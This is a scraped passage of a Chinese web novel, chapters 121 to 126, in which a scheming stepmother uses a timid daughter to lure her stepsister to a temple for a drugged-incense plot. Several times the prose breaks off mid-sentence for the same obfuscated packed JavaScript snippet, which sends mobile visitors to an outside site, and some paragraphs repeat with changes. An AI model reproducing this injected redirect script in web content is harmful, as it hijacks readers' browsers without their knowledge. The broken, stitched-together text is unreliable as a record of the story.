周嬷嬷“哎呦”一声,连忙伸手拦住她: “我的三姑娘,您这是要去哪儿啊?” “夫人特意吩咐了,说您以前住的屋子太小,委屈了您,让奴婢把西厢那间最大的屋子收拾出来给您住。” “您快跟我来,别让夫人久等了。” 周嬷嬷嘴上说着客气话,心里却暗暗冷笑。 这个三姑娘,看着就没什么出息,倒也省了夫人不少心思。“母亲。” 随着周嬷嬷的引领,晏清萦低眉顺眼地走进了厅堂,轻唤了一声。 她将视线垂落在裙摆的流苏上,纤弱的身子微微打着颤。 看似不堪一击,宽大的袖袍之下,十指却死死纠缠,几乎要把一方丝帕绞成碎片。 未及抬头,她已用眼角余光,将高坐上首的钱雅芝扫视了一遍。 四年光阴,这女人眉眼间的刻薄有增无减。 只是,到底岁月不饶人。 往日里,钱雅芝还能勉强维持几分端庄,摆出当家主母的气度。 如今,那双精于算计的眸子里,疲惫之色却再难掩饰,眼角的细纹也悄然爬上了脸颊。 晏清萦的嘴角,无声地牵起一抹难以察觉的弧度。 真好。 这害死她亲娘的**,终究,也过得不甚如意。 如此,便好。 她这边厢暗自思量,上首的钱雅芝又何尝不是在打量她? 钱雅芝的目光在晏清萦纤细的身形上逡巡,眉头微微蹙起。 四年临川苦寒,竟没能将这丫头磋磨得灰头土脸,反而让她出落得愈发水灵。 那眉眼,竟与记忆中那人有三分神似。 只消一眼,便让钱雅芝心头火气。 不过,瞧见晏清萦在她面前这副谨小慎微、大气不敢喘的模样,钱雅芝心头又泛起一丝隐秘的快慰。 她端起茶盏,慢悠悠地拨弄着杯盖,却故意将晏清萦晾在一旁,任由周遭的丫鬟们用或轻蔑或鄙夷的目光,将她细细打量。 晏清萦只觉得背上如有芒刺,指甲深深嵌入掌心,几乎要掐出血来。 **与难堪如影随形。 可她又能如何? 在这苏府之中,她不过是一介卑微庶女,生死荣辱,皆不由己。 在钱雅芝面前,她便如蝼蚁一般,朝不保夕。 不知过了多久,钱雅芝才像是刚刚回过神来,放下茶盏,带着几分责备开口: “你这孩子,怎的还站着?快坐下说话。” 晏清萦如蒙大赦,连忙欠身应了,这才小心翼翼地在下首的椅子上落了座,只敢坐了半边。 “听闻,你在临川时,曾对你大姐姐……” 钱雅芝端起茶盏,状似不经意地提起旧事,话里却暗藏机锋。 她目不转睛地盯着晏清萦,话音一转,又带了敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019322|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打: “玥玥是你嫡亲的姐姐,我不希望再听见什么闲言碎语,你可明白?” 晏清萦的身子颤了颤,脸色愈发苍白。 钱雅芝见状,这才略略满意地点了点头,语气稍稍缓和: “往事已矣,便不必再提。” “你素来是个懂事的,我相信,你不会再做那些糊涂事。” 晏清萦勉力扯出一个比哭还难看的笑容,起身福了一礼: “多谢母亲教诲,女儿……谨记于心。” 她不敢抬头,生怕泄露了眼底的情绪。 四年前,晏玥玥落水,究竟是意外还是人为,早已无人关心。 在钱雅芝眼中,她便是罪魁祸首,百口莫辩。 过多的辩解,只会招致更严厉的责罚。 见她如此识趣,钱雅芝的脸色稍霁。 她又状似关切地问起晏清萦在临川的境况,晏清萦也只得强忍着心头的涩意,一一作答。 闲谈几句,钱雅芝笑着示意她用茶,话锋一转,看似不经意地问道: “说起来,阿清那丫头,到临川没多久,便被陆家二位将军收作了义女,是也不是?” 她脸上的笑容渐渐淡去。 “这等大事,你竟从未写信告知于我,是何道理?” 话音未落,锐利的目光已如刀锋般刺向晏清萦。 晏清萦心中一凛。 该来的,终究还是来了。 只是,让她意外的是,罗氏那边尚无动静,钱雅芝竟先按捺不住了。 她佯装出一副惶恐不安的模样,抬起头来,眼中却满是茫然: “母亲竟不知此事?” 她微微歪了歪头,似乎有些不解: “二舅母难道不曾与您提起吗?女儿还以为……还以为她早就……” 她边说,边紧紧地绞着手中的帕子,纤细的手指因为用力而微微泛白。 当初,她的确曾想过将晏清澜被收为义女的消息传回汴京。 只是,那封信才起了个头,便被她付之一炬。 她深知,这封信能否送到钱雅芝手中,尚且存疑。 与其如此,倒不如…… 晏清萦的眼神微微一黯。 她太过弱小,太过无力。 连传递消息,于她而言,都成了一种奢望。 在这深宅之中,她又能做些什么呢? 也罢,倒不如在晏清澜面前,说些离间之语。 第一百二十一章 至少,能让晏清澜对钱雅芝心生嫌隙。 如此,纵然不能伤及钱雅芝分毫,也能稍稍出一口胸中恶气。 钱雅芝紧紧盯着晏清萦,不错过她脸上任何一丝细微的表情变化。 见她神情不似作伪,这才稍稍压下心头的火气,淡淡地“嗯”了一声,未再深究。 “阿清这孩子,心里怕是还在怨恨我。” 钱雅芝轻叹一声,伸手揉了揉眉心,语气中透着几分疲惫与无奈。 “你也瞧见了,她此番回京,宁愿住在外头,也不肯回府。你大哥前去相劝,反倒……” 她顿了顿,摇了摇头,似乎对这个“不听管教”的女儿束手无策。 这些事,晏清萦早晚都会知晓。 与其让她从旁人口中得知,倒不如自己先说出来,也免得这庶女在背后看笑话。 晏清萦闻言,心中却是一惊。 晏清澜的胆大,她早有领教。 在临川时,她便处处避让,不敢与之争锋。 可她万万没想到,晏清澜竟敢对晏景文动手! 还有,钱雅芝适才所言,晏清澜竟宁愿住在外头,也不肯回苏府? “莫非……四姐姐她,如今住在陆家?” 她小心翼翼地开口,声音中带着几分试探。 钱雅芝耐着性子,将晏清澜如何救下八皇子、又如何因此得以留在京城一事,简略地与她说了。 晏清萦听罢,虽惊诧于晏清澜的好运道,却也并不觉得太过意外。 毕竟,晏清澜的身手,她亲身经历过这一切。 她犹记得,那年上巳节,晏清澜邀她一同去郊外踏青。 到了地方,晏清澜兴致勃勃地要与她比试骑射。 她自知不敌,便婉言谢绝。 晏清澜却不依不饶,非要拉着她一同玩耍。 她无奈,只得硬着头皮上马。 谁知,马儿刚跑出几步,便受了惊,将她狠狠地摔了下来。 她吓得魂飞魄散,还未来得及呼救,便见一支羽箭破空而来,擦着她的鬓角,稳稳地钉在了马旁的树干上。 受惊的马儿顿时安静下来。 她惊魂未定地抬头,只见晏清澜策马而来,脸上带着关切的笑意: “妹妹没事吧?方才真是吓死我了,险些伤了你!” 她嘴上虽说着抱歉,眼中却闪过一丝冰冷的寒芒。 那一刻,晏清萦便明白,自己,绝非晏清澜的对手。 这样的人,又怎会甘心一辈子困于苏府的牢笼之中? 她早就料到晏清澜会离开,只没料到,这一日竟来得如此之快。钱雅芝的脸色微微一沉。 晏清萦竟然不觉得意外?她对晏清澜如今的境遇,没有丝毫惊讶? 戏已经开场,钱雅芝强压下心头那一丝不悦,握住了晏清萦的手。她深深地吸了一口气,又缓缓吐出,仿佛要将胸口的郁结之气一并带走。 “萦儿,你向来是个乖巧的。” 晏清萦低眉顺眼,连称不敢,身子微微向后缩了缩,试图将手抽回来。可钱雅芝哪里容许她退缩,反而将她的手握得更紧了。 晏清萦的目光,缓缓落在自己那只被紧紧握住的手上。 那一瞬间,她感觉这只手就是她人生的写照。 被钱雅芝牢牢掌控,无法挣脱,更无法反抗。她越是用力,越是徒劳。最终,被迫随波逐流地陷入对方设下的深渊。 晏清萦轻轻闭了闭眼,再睁开时,眸中已是一片平静的漠然。 钱雅芝见晏清萦还是这副怯懦的样子,心下稍稍安定。 她不动声色地扯了扯嘴角,努力做出一副忧心忡忡的慈母模样。钱雅芝轻叹一声,语气中带着几分无奈,几分叹息: “萦儿啊,阿清这孩子,怕是与我离了心,我这心里……”钱雅芝故意顿了顿,拿眼角余光去瞟晏清萦,“苦得很。” “她恨我,怨我,也恨她的几位哥哥,至于玥玥……”钱雅芝的声音忽然压得极低,仿佛生怕隔墙有耳,“她只怕,做梦都想让玥玥**呢。” 晏清萦听得直皱眉,这话也太过了。钱雅芝未免太把自己当回事,也太高看了晏玥玥和晏景文等人在晏清澜心中的分量。 晏清澜会怨恨他们? 呵!晏清萦在心里冷笑。 他们也配? 钱雅芝也不怕风大闪了舌头。 晏清萦心里转过这些念头,面上却依旧维持着那副柔顺怯懦的样子。她咬了咬下唇,手指不自觉地绞在一起,细声细气地说: “母亲……您,您别这么说。四姐姐她……不会的……” 除了这句,晏清萦也没别的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019323|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话了。 钱雅芝在心中鄙夷,面上还得继续演。 她从袖中掏出一方帕子,装模作样地擦了擦眼角。 “我懂她心里恨死我了,怨我当初……狠心将她送去临川。”钱雅芝的声音里带着几分哽咽,“可她当时……病的那么重,我这也是……为了庄家啊……” 晏清萦看着钱雅芝这拙劣的演技,心底泛起一阵悲凉。但她又能怎么办呢?她只能陪着钱雅芝演下去。 于是,晏清萦的眼圈也红了,她吸了吸鼻子,小声说:“母亲……您别难过……四姐姐她……会明白的。” 钱雅芝等得就是她这句话,不过,还不够。 “明白?她不会明白的。”钱雅芝摇了摇头,脸上的神情,是说不出的落寞,“萦儿,你不懂……” 晏清萦被钱雅芝这话说得一愣。 她不懂?她怎么会不懂? 这些年,她在苏府里小心翼翼,如履薄冰,不就是为了能够活下去吗? 可这些话,她不能说,也不敢说。 她无奈地垂下了脑袋,任由钱雅芝握着自己的手,感受着那股令人窒息的力量。 良久,钱雅芝幽幽地叹了口气,像是终于下定了决心。 “萦儿,母亲有件事,想要求你。” 来了。 晏清萦心中了然。 钱雅芝费了这么大晋折,终于要图穷匕见了。 她早该想到,以自己的身份,钱雅芝根本无需如此大费周章。 晏清萦抬起头,脸上适时地露出了惶恐的神色,身子也微微颤抖着。她张了张嘴,想要说些什么,却又不知道该如何开口。 “母亲……” “你别怕。”钱雅芝打断了她的话,声音放柔了些,“我知道,你是个好孩子。这事儿……对你来说,或许有些为难,但……” 钱雅芝顿了顿,观察着晏清萦的神色。 “但阿清不同,她与你……总归是不一样的。”钱雅芝这话,说得有些含糊。 晏清萦却听明白了。 钱雅芝这是在提醒她,她们之间,还有那四年的情分在。 可晏清萦心里清楚,那四年,对晏清澜来说,或许根本不值一提。 她在晏清澜眼里,怕是连个陌生人都不如。 “母亲,您说吧。 第一百二十二章 ”晏清萦的声音很轻,带着一丝不易察觉的颤抖。 钱雅芝见她这副模样,心中越发笃定。 她就知道,晏清萦是个识时务的。 “其实,也不是什么大事。”钱雅芝的语气轻松了些,“只是……这事儿,得你去说。” “你也知道,我和你几位哥哥……在阿清那里,是说不上话的。”钱雅芝苦笑一声,摇了摇头,像是自嘲,又像是无奈。 “我呢,最近总觉得心神不宁,夜里也睡不安稳。” 钱雅芝说着,话锋一转: “你祖母的身子骨一直不太好,我想着,带上玥玥和你几位哥哥,去善南寺为她祈福。” “只是……” 说到这里,钱雅芝又停了下来,目光灼灼地盯着晏清萦: “你祖母从前最疼阿清,若是阿清也能去,你祖母定然高兴,病也能好得快些。可我……实在没脸去请她。” 晏清萦垂眸不语。 钱雅芝也不催促,只是静静地等着。 过了好一会儿,晏清萦才缓缓抬起头,轻声问道: “母亲是想……让我去请四姐姐?” 钱雅芝的脸上,终于露出了一丝满意的笑容。 “萦儿,我就知道,你是个聪明的孩子。”钱雅芝拍了拍晏清萦的手背,“你放心,这事儿……不会让你白做的。” “那……萦儿也能跟着一起去善南寺吗?”晏清萦咬了咬唇,小心翼翼地问。 钱雅芝一愣,随即笑道: “傻丫头,你这是说的什么话?你是庄家的女儿,为你祖母祈福,自然是要去的。” 她顿了顿,语气又变得意味深长: “再说,你和阿清,不是最好的姐妹吗?你去劝她,她定然会听的。” 晏清萦听着这话,心里只觉得一阵讽刺。 最好的姐妹? 钱雅芝还真是会睁着眼睛说瞎话。 不过,她面上却是不动声色,只是低低地应了一声: “嗯,萦儿知道了。”晏清萦眼睫微颤,眸光闪烁。 钱雅芝那爆炭脾气,见了晏清澜就跟浇了油的干柴似的,火星子能窜上天。这回竟巴巴地非要晏清澜同去善南寺? 这里头,怕是藏着什么见不得人的勾当。 而且,钱雅芝话里话外那股子“你敢不去试试”的劲儿,明摆着是没给她留退路。 晏清萦眼风扫过钱雅芝那张堆着假笑的慈母脸,心里冷哼,面上却做出受宠若惊的模样,怯生生地应道: “萦儿……愿尽力一试。” 钱雅芝嘴角一勾,眼底滑过一丝得意: “萦儿啊,你跟阿清那可是打断骨头连着筋的好姐妹,你去劝,她准听你的。” “再说,阿清那孩子心软,哪舍得让你为难呢,你说是不是?” 最后一句,钱雅芝故意拉长了调子,话里那股子威胁的意味,简直要溢出来。 晏清萦垂下眼帘,掩去眸中一闪而逝的讥诮。 她算是看明白了,钱雅芝这是拿她当枪使呢! 晏清萦心里跟明镜似的,钱雅芝要她做的,可不仅仅是“劝”晏清澜去善南寺。 这是要她低声下气,伏低做小,最好是声泪俱下,一把鼻涕一把泪地求晏清澜“开恩”! 呵,她才刚回苏府,就成了这老妖婆手里的棋子,任她搓圆捏扁! 晏清萦前脚刚跨进苏府大门,还没来得及喘口气,就被钱雅芝的人给“请”了过去。 连身替换衣裳的空当都没给,更别提梳洗打扮了。 就这么顶着一张熬了几个大夜、憔悴不堪的脸,马不停蹄地赶到了浮萍居。 晏清澜刚回屋,正准备歇口气,就有丫鬟来报,说是苏府的三姑娘求见。 晏清澜听了,眉头轻轻一挑,心里跟明镜似的: “晏清萦?让她进来吧。” 这节骨眼上,晏清萦巴巴地赶来,除了钱雅芝那只老狐狸的授意,还能有谁? 若是不让她进门,还不知道钱雅芝要使出什么幺蛾子。 晏清澜可不想跟这群人玩那些虚头巴脑的把戏。 她现在只想安安稳稳地过日子,至于那些算计来算计去的,有多远滚多远! 晏清萦进了屋,一眼瞧见坐在上首的晏清澜,步子一顿,犹豫了片刻,还是规规矩矩地唤了声: “四姐姐。” 她收敛了在钱雅芝面前那副畏畏缩缩的模样,只是眼底,到底还是藏了几分戒备。 晏清澜抬眼打量了她一番,见她形容憔悴,便吩咐身边的丫鬟: “去沏壶好茶来,再端些姑娘家爱吃的瓜果点心。” 略一顿,又道: “拣那几样时新的,别怠慢了客人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏清萦心里跟明镜似的,钱雅芝费了这么大晋折,可不仅仅是为了让晏清澜去善南寺上香。 第一百二十三章 这里头,定然还藏着别的猫腻! 钱雅芝真正的目的,恐怕不是晏清澜,而是…… 晏清萦不敢再往下想,只觉得一阵寒意从脚底直窜上头顶。 她强压下心头的恐惧,定了定神,对晏清澜说道: “四姐姐,我知道你心里有数。我不过是个传话的,该说的我都说了,至于怎么做,全凭四姐姐定夺。” 她顿了顿,又补充道: “四姐姐,害人之心不可有,防人之心不可无。您……多加小心。” 说完,晏清萦便起身告辞。 她没有再多说什么,因为她知道,以晏清澜的聪明才智,定然能明白她的意思。 而她,不过是个无足轻重的小人物,能做的,也只有这些了。 晏清澜看着晏清萦离去的背影,嘴角勾起一抹意味深长的笑容。 她转过身,重新坐回椅子上,端起茶盏,轻轻地啜了一口。 茶香袅袅,在空气中弥漫开来,带来一丝淡淡的苦涩。 晏清澜的眼神,渐渐变得幽深起来。 她知道,晏清萦的话,并非空穴来风。 钱雅芝那只老狐狸,绝不会无缘无故地让她去善南寺。 这其中,定然有什么阴谋诡计! 只是,她一时之间,还猜不透钱雅芝的真正目的。 不过,兵来将挡,水来土掩。 她倒要看看,钱雅芝究竟能玩出什么花样! 晏清萦回到苏府后,依旧是那副唯唯诺诺的样子。 她低着头,走到钱雅芝面前,将晏清澜的话,原原本本地复述了一遍。 钱雅芝听完,确认了晏清澜三日后会去善南寺,一颗悬着的心,总算是落了地。 她长舒一口气,只觉得连日来的疲惫都一扫而空。 钱雅芝揉了揉发胀的太阳穴,长叹一声 “唉,罢了罢了,阿清不愿与我们同行,也是情理之中。只要她肯去善南寺,我便心满意足了。” 她眼中精光一闪,嘴角勾起一抹阴冷的笑容。 等到善南寺事发,宋溪溪名节不保,她倒要看看,陆家是否还会护着这个灾星!“吁——” 长长的吁声中,车夫猛地一拉缰绳,马蹄重重落地,车身剧烈一晃。 “夫人,小姐,善南寺到了。”粗犷的嗓音穿透车帘,闷闷地传了进来。 “哎呀,总算到了!” 晏玥玥一个激灵,猛地掀开车帘,几乎是跳下了马车。裙摆在空中划出一道弧线,像是迫不及待要绽放的花儿。 她一眼就瞧见了站在寺门前的宋溪溪和傅清霁,眼睛都亮了起来,像是两盏小灯笼。 “溪溪姐姐!清霁姐姐!” 清脆的嗓音,像出谷的黄鹂,在空旷的寺前广场上回荡。 她提着裙摆,兴冲冲地跑了过去,满脸都是掩饰不住的欢喜,仿佛见到了久别重逢的亲人。 然而,宋溪溪只是淡淡地“嗯”了一声,连眼皮都没抬一下。 那冷淡的模样,像是一盆冰水,兜头浇灭了晏玥玥满腔的热情。 她硬生生刹住脚步,脸上的笑容瞬间凝固,像是被施了定身术,嘴角尴尬地抽动着,不知道该说什么好。 这突如其来的冷遇,让她原本雀跃的心情,一下子跌入了谷底。 她身后,钱雅芝将这一切尽收眼底,脸色顿时阴沉下来,像暴风雨来临前的天空。 “这陆家的人,真是给脸不要脸!”她在心中暗骂。 她紧紧攥着手中的帕子,指节泛白,几乎要把帕子撕碎。 可面上,她还得强撑着,挤出一个比哭还难看的笑。 钱雅芝深吸一口气,强压下心头的怒火,调整了一下表情,摆出一副端庄贤淑的模样,莲步轻移,缓缓走到傅清霁面前。 “厉夫人,别来无恙啊。”她温声细语,仿佛刚才的不愉快从未发生过。 一番客套之后,钱雅芝话锋一转,目光在四周扫了一圈,故作惊讶地问道: “咦,怎么没瞧见阿清那丫头?她不是说,今天要来寺里上香祈福的吗?” 她眼神飘忽不定,眼角的余光,却死死盯着一旁默不作声的晏清萦。 心里暗自琢磨:难不成,这小蹄子竟敢阳奉阴违,背着她耍花招? 晏清萦依旧低眉顺眼,像个受气包似的站在一旁,对钱雅芝的目光视若无睹。 她心里清楚得很,钱雅芝这葫芦里卖的什么药。 可她偏偏不如她的意。 晏清澜确实说过要来善南寺,但前提是,一切顺利,不出任何意外。 钱雅芝这般大费周章,不就是想把晏清澜诓来善南寺吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对于钱雅芝这种人,她们实在是懒得搭理。 第一百二十四章 要不是为了晏清澜,她们才不会来这趟浑水。 宋溪溪甚至想直接转身就走。 若不是钱雅芝,晏清澜也不必扮成丫鬟,躲躲藏藏。 “哼,一群狗眼看人低的……”她心中暗骂,对钱雅芝的厌恶又多了几分。 另一边,苏府的几位公子早已从另一扇偏门进了寺庙。 他们几个大男人,总不好杵在这儿,听一群女人家长里短,传出去也实在不像话。 钱雅芝又虚情假意地恭维了宋溪溪几句,极尽溢美之词。 眼看着宋溪溪的脸色越来越难看,几乎要控制不住翻白眼,她才勉强收了声。 “那个……厉夫人,陆小姐,我先进去给菩萨上柱香,咱们……回头再聊。” 钱雅芝干巴巴地笑了笑,语气中带着一丝尴尬和逃避。 说完,她便领着晏玥玥和晏清萦,急匆匆地朝寺庙里走去,背影像极了落荒而逃。 晏玥玥一脸不高兴,扯了扯钱雅芝的袖子,小声嘟囔着: “娘,您跟那个宋溪溪废什么话呀?您没瞧见她那副趾高气昂的样子吗?眼神高傲得都能戳破云层!” 她原本以为,宋溪溪既然能和晏清澜交好,那一定也是个好相处的。 谁知道,竟然这般不识抬举! 钱雅芝被她这么一说,也是心烦意乱。 想起马车上时,晏玥玥还不知死活地问晏清萦,在临川时是不是被赵芊芊欺负了。 当时自己还训斥了她,让她别多管闲事。 可这丫头,竟还敢提起当初晏清萦把她推下水的事。 这些细枝末节的小事,钱雅芝当时并未在意。 但此时此刻,她心情郁闷到了极点,也懒得再和她们多费唇舌,便加快了脚步,一同进了寺庙,只想快些把该办的事办完。“娘,您干嘛对宋溪溪那么客气?” 晏玥玥噘着嘴,一脸的不服气, “您没瞧见她那副高高在上的样子吗?眼睛都快竖到头顶上去了!” 她原以为,能和晏清澜玩到一起的,肯定也不是什么难伺候的主儿。 没想到,这位陆小姐竟然这般不给面子! 钱雅芝听了这话,心里也有些不得劲。 是啊! 那宋溪溪算个什么? 不过是仗着家世好,尾巴就翘到天上去了! 竟然敢给她女儿甩脸子! 先前马车上,晏玥玥没个轻重,问晏清萦在临川的时候,有没有被赵芊芊给欺负了。 她还训了晏玥玥,让她少说两句。 更让她生气的是,晏玥玥竟然还提起了当初晏清萦把她推下水的旧事! 要不是现在有更要紧的事儿,她真想好好说道说道这个没脑子的丫头! 钱雅芝勉强压下心头的火气,挤出一个笑来, “我的好玥玥,这是吃哪门子的醋呢?” 她伸手,轻轻刮了一下晏玥玥的鼻子, “跟那种人生气不值当,咱不跟她一般见识。她爱怎么狂怎么狂,玥玥你呀,只管做个温柔贤淑的好姑娘。” 过了今天,有她宋溪溪哭的时候! 钱雅芝眼底飞快地闪过一抹算计。 她要让宋溪溪身败名裂,为今天的事付出代价! 到时候,看她还怎么在玥玥面前耀武扬威! 钱雅芝光是想想宋溪溪倒霉的样子,就觉得心里痛快。 她身后的晏清萦,默默地将钱雅芝的表情看在眼里,眼神微微闪烁,不知在想些什么。 另一边,晏清澜冷眼看着钱雅芝走远,眼神冷得像冰。 “我说阿清姐姐,你可别怪妹妹我多嘴,你那个娘……” 宋溪溪凑到晏清澜耳边,神神秘秘地说, 她伸手指了指自己的太阳穴,做了个打转的手势,脸上写满了“一言难尽”, “她脑子是不是不太好使?” 晏清澜只是淡淡地扫了她一眼,没接话。 她静静地望着钱雅芝远去的方向,目光深邃,让人看不透。 阳光透过树叶间的缝隙,星星点点地落在她的脸上。 “我没有娘。” 过了好一会儿,晏清澜才缓缓开口,声音轻得像一阵风。 她上辈子就没见过自己的亲生父母。 后来,她为了查明真相,背叛了组织,才知道了自己的身世。 她的母亲,是华国赫赫有名的女战神,她的父亲,是战功卓著的华国元帅。 她的父母,都是光明磊落、顶天立地的英雄。 不像钱雅芝,表面一套背后一套,坏得流脓! “得了吧,就钱雅芝那样的,也配?” 宋溪溪翻了个白眼,显然没把晏清澜的话当真。 她还以为晏清澜是早就看清了庄家人的真面目。 晏清澜也没解释,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“去那边。 第一百二十五章 ” 说完,她一把抓起晏清澜,像扔破布一样把她扔了过去。 刀疤男搓了搓手,迫不及待地跟了过去。 他盯着昏迷不醒的晏清澜,口水都快流下来了。 他狞笑着,伸手就去扒晏清澜的衣服。 就在这时,原本应该昏死过去的晏清澜,突然睁开了眼睛! 一道寒光闪过,快得像一道闪电。 刀疤男连哼都没哼一声,就倒在了地上,脑袋滚到了一边。 他脸上的表情还停留在前一秒,看起来恶心又吓人。 他做梦都想不到,自己会死得这么快,这么惨。 空气里飘着淡淡的血腥味。 站在外面的女人,脸色却一点没变,好像早就习惯了这种场面。 晏清澜慢条斯理地从地上站起来,身上干干净净的,一点血迹都没沾上。 女人连忙走上前,单膝跪地,恭敬地行礼, “属下救驾来迟,请主子恕罪!” 晏清澜笑了笑, “桂柔,你做得很好,起来吧。” “主子,接下来怎么做?” 桂柔站起身,恭敬地问道。 “我娘那边,你可都盯紧了?” 晏清澜不答反问。 桂柔连忙回答: “回主子,都按您的吩咐,暗中盯着呢,不会让顾将军发现的。” “那就好。” 晏清澜点了点头,又问, “溪溪那边呢?没出什么岔子吧?” “主子放心,咱们的人都在暗中保护溪溪小姐,保证万无一失。” 桂柔拍着胸脯保证。 晏清澜这才放下心来,她看了看地上刀疤男的尸体,淡淡地说: “这具尸体还有用,你们处理干净点。” 桂柔的眼神里闪过一丝厌恶, “这种**,死不足惜!” 原来,桂柔早就易容成了刀疤男的同伙。 这对亡命鸳鸯,手上沾了不少人命,专门干些见不得人的勾当。 桂柔找到那个女人的时候,她正打算拐卖一个小孩换钱。 幸好桂柔及时出现,才没让她得逞。微风拂过,几缕青丝绕上晏清澜的脸颊,她抬手将发丝拢到耳后,眼神清冽。 “这里不适合多待。” 她看向桂柔, “交代你的事,加紧去办。其余的,不必理会。” 桂柔抱拳,声音低沉, “是。” 话音未落,人已如鬼魅般消失在原地。 晏清澜转身,缓步走向厢房。 刚一进门,宋溪溪就扑了上来,指着桌上的熏香,小脸皱成一团, “阿清姐姐,快来!这寺庙里竟然还备了熏香,你闻闻,这是什么味儿啊?” 她拿起一块,在晏清澜鼻子底下晃了晃, “一股子怪味,熏得我头疼。” 晏清澜接过熏香,只一眼,眸光便是一凝。 这哪是什么普通熏香,分明是加了料的! 她不动声色地将熏香扔回桌上,淡淡道: “确实不怎么样,扔了吧。” 钱雅芝,还真是煞费苦心,连这种下作手段都用上了。 要是宋溪溪真用了这熏香,恐怕夜里**的都不知道。 这迷香做得也算用心,刚开始闻起来挺香,甚至有几分安神的作用。 寻常女子,说不定真会当成宝贝。 可惜,陆家从不亏待宋溪溪。 她晏清澜,更不会亏待自己视若珍宝的妹妹。 宋溪溪用的东西,都是她和傅清霁千挑万选的。 用惯了上等货,这种掺了杂质的劣等品,又怎能入得了宋溪溪的眼? 晏清澜唇角微微勾起。 钱雅芝机关算尽,却忘了,不是所有女子都像她那般短视。 宋溪溪正要开口,忽然, “咚咚咚。” 一阵敲门声传来。 晏清澜抬眸,声音平静, “谁?” 门外传来一个娇滴滴的声音,带着几分做作的亲昵, “溪溪妹妹,是我呀。” 宋溪溪一听这声音,眉头就拧了起来。 怎么是她?晏玥玥?真是阴魂不散! 宋溪溪张嘴就要骂人,晏清澜却轻轻按住了她的手,让她别着急。 宋溪溪满心疑惑,却还是乖乖闭了嘴,看着晏清澜走过去开了门。 门一开,晏玥玥就扭着腰肢走了进来,手里还捧着一个雕花的红木盒子。 宋溪溪下巴微抬,眼神冷冷的, “你又来做什么?” 晏玥玥被她看得一哆嗦,脸上的笑容差点没挂住。 她稳了稳心神,将盒子往宋溪溪面前一推, “溪溪妹妹,我给你送好吃的来了。” 盒子打开,露出里面几块颜色鲜艳的点心。 晏玥玥努力装出一副热情的样子, “这是醉月楼的点心,我记得上次去韩府,妹妹你好像挺喜欢吃的……” 她一边说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“咦,你们这儿竟然还有这样的熏香?” 她的声音里带着一丝惊讶和羡慕。 她房间也点着香,但和这儿的比起来,简直一个天上一个地下。 第一百二十六章 晏清澜笑了笑, “六小姐中意?” 她从妆奁里翻出一个小巧精致的空盒子,用银镊子夹起大半熏香,放了进去。 “晏六姑娘带来的点心,想必是极好的,可惜我们姑娘无福消受。这样吧,这点心,晏六姑娘还是带回去。这些熏香,就当是我们姑娘的一点心意。” 晏清澜将装了熏香的盒子递到晏玥玥面前,动作利落干脆。 晏玥玥愣愣地接过盒子,脑子有点转不过弯来。 这丫鬟,也太自作主张了吧? 可当她看向宋溪溪时,却发现宋溪溪并没有任何不满。 她这才意识到,这丫鬟肯定是得了宋溪溪的授意。 晏玥玥的心情,瞬间变得复杂起来。 原本,她还以为宋溪溪是故意找茬,才不肯吃她送的点心。 可现在看来,似乎并不是这样? 一个念头在晏玥玥脑海中闪过, 难道说,宋溪溪其实并不讨厌她,反而是想和她交好? 要不然,这么珍贵的熏香,宋溪溪怎么会舍得送给她? 而且,这丫鬟一夹就是大半盒! 晏玥玥可不相信,这真的只是为了赔礼道歉。 毕竟,宋溪溪可是出了名的骄纵,怎么可能会轻易向人低头? 晏玥玥越想越觉得自己的猜测没错。 肯定是宋溪溪碍于晏清澜的面子,才故意对她冷淡。 如今晏清澜不在,宋溪溪这不就立刻向她示好了吗? 